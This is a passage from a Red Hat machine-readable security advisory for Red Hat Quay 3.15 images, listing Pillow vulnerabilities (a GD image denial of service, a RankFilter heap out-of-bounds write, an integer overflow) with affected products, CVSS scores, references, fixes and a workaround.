          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-55380"
        },
        {
          "category": "external",
          "summary": "RHBZ#2497455",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2497455"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-55380",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55380"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-55380",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55380"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst",
          "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675",
          "url": "https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm",
          "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm"
        }
      ],
      "release_date": "2026-07-06T18:50:14.789000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T20:01:08+00:00",
          "details": "Before applying this update, make sure all previously released errata relevant\nto your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48933"
        },
        {
          "category": "workaround",
          "details": "Avoid processing untrusted GD 2.x image files with PIL.GdImageFile.open(). Use Image.open() instead, which includes decompression bomb protections for supported formats. If GdImageFile must be used, validate the image dimensions before calling load(). Restricting accepted image formats at the application boundary to only those explicitly needed can reduce exposure.",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "python-pillow: Pillow: Denial of Service via crafted GD 2.x image file"
    },
    {
      "cve": "CVE-2026-59197",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "discovery_date": "2026-07-14T17:01:29.487456+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2500043"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Pillow prior to 12.3.0. The public RankFilter API can trigger a native heap out-of-bounds write when given a very large odd filter size. ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation, and ImagingExpand() computes output dimensions with unchecked signed integer arithmetic. This can lead to denial of service and limited integrity impact via heap corruption.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "Pillow: Pillow: Native heap out-of-bounds write",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Pillow\u0027s RankFilter API is vulnerable to a native heap out-of-bounds write when a caller supplies a very large odd filter size. Expansion runs before size validation and ImagingExpand uses unchecked signed integer arithmetic for output dimensions. A remote attacker who can drive RankFilter with attacker-controlled sizes may crash the process or corrupt heap memory. Fixed in Pillow 12.3.0.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
        ],
        "known_not_affected": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-59197"
        },
        {
          "category": "external",
          "summary": "RHBZ#2500043",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2500043"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-59197",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59197"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-59197",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59197"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1",
          "url": "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/pull/9695",
          "url": "https://github.com/python-pillow/Pillow/pull/9695"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0",
          "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr",
          "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"
        }
      ],
      "release_date": "2026-07-14T16:25:23.520000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T20:01:08+00:00",
          "details": "Before applying this update, make sure all previously released errata relevant\nto your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48933"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "Pillow: Pillow: Native heap out-of-bounds write"
    },
    {
      "cve": "CVE-2026-59199",
      "cwe": {
        "id": "CWE-190",
        "name": "Integer Overflow or Wraparound"
      },
      "discovery_date": "2026-07-14T17:02:51.371888+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
